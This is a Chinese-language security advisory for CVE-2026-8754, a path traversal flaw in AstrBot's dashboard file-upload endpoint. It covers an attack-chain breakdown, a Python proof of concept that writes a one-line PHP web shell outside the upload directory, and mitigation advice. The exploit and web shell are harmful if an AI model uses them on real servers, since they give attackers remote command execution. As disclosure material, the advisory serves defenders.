IPBUF安全漏洞报告
English
CVE-2026-8754 CVSS 6.3 中危

CVE-2026-8754 AstrBot路径遍历漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8754
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AstrBotDevs AstrBot

相关标签

路径遍历AstrBot文件上传CVE-2026-8754远程代码执行

漏洞概述

AstrBotDevs开发的AstrBot在4.23.5及之前版本中存在路径遍历漏洞。该漏洞位于文件上传处理组件的`post_file`函数中,由于未对`filename`参数进行严格校验,攻击者可通过构造包含路径遍历字符的恶意文件名发起远程攻击。成功利用该漏洞可能导致任意文件写入,影响系统机密性和完整性,建议用户尽快升级。

技术细节

该漏洞源于AstrBot文件上传处理组件中`post_file`函数的安全缺陷,具体位于`astrbot/dashboard/routes/chat.py`路径下。在处理文件上传请求时,系统直接使用用户可控的`filename`参数来构建文件存储路径,而未对输入进行有效的规范化处理或特殊字符过滤。这使得攻击者能够通过构造包含路径遍历序列(如`../`)的恶意文件名,突破预定义的上传目录限制,将文件写入服务器文件系统的任意位置。鉴于该漏洞允许远程利用且攻击复杂度低,攻击者可能上传WebShell或覆盖关键配置文件,从而完全控制受影响的主机。官方已发布补丁aaec41e5054569ceaa1113593a34da7568e2d211修复此问题。

攻击链分析

STEP 1
1. 侦察阶段
攻击者识别网络上运行AstrBot且版本低于或等于4.23.5的目标服务器。
STEP 2
2. 漏洞利用
攻击者向`/dashboard/chat/post_file`端点发送特制的HTTP POST请求,其中包含包含`../`序列的文件名(例如`../../shell.php`)。
STEP 3
3. 文件写入
由于未经过滤的文件名,服务器将上传的文件保存到预期上传目录之外的位置(例如Web根目录)。
STEP 4
4. 执行与控制
攻击者访问上传的恶意文件以执行任意代码,从而获得服务器访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target-ip/dashboard/chat/post_file" # Malicious file with path traversal filename # Attackers can use '../' to escape the upload directory files = { 'file': ('../../evil.php', b'<?php system($_GET["cmd"]); ?>', 'application/x-php') } data = { # Other potential parameters required by the application } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Exploit request sent successfully.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

AstrBotDevs AstrBot <= 4.23.5

防御指南

临时缓解措施
如果无法立即升级,请限制对`/dashboard/chat/post_file`端点的网络访问,仅允许可信IP地址连接。此外,部署Web应用防火墙(WAF)规则以检测和拦截包含路径遍历模式的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表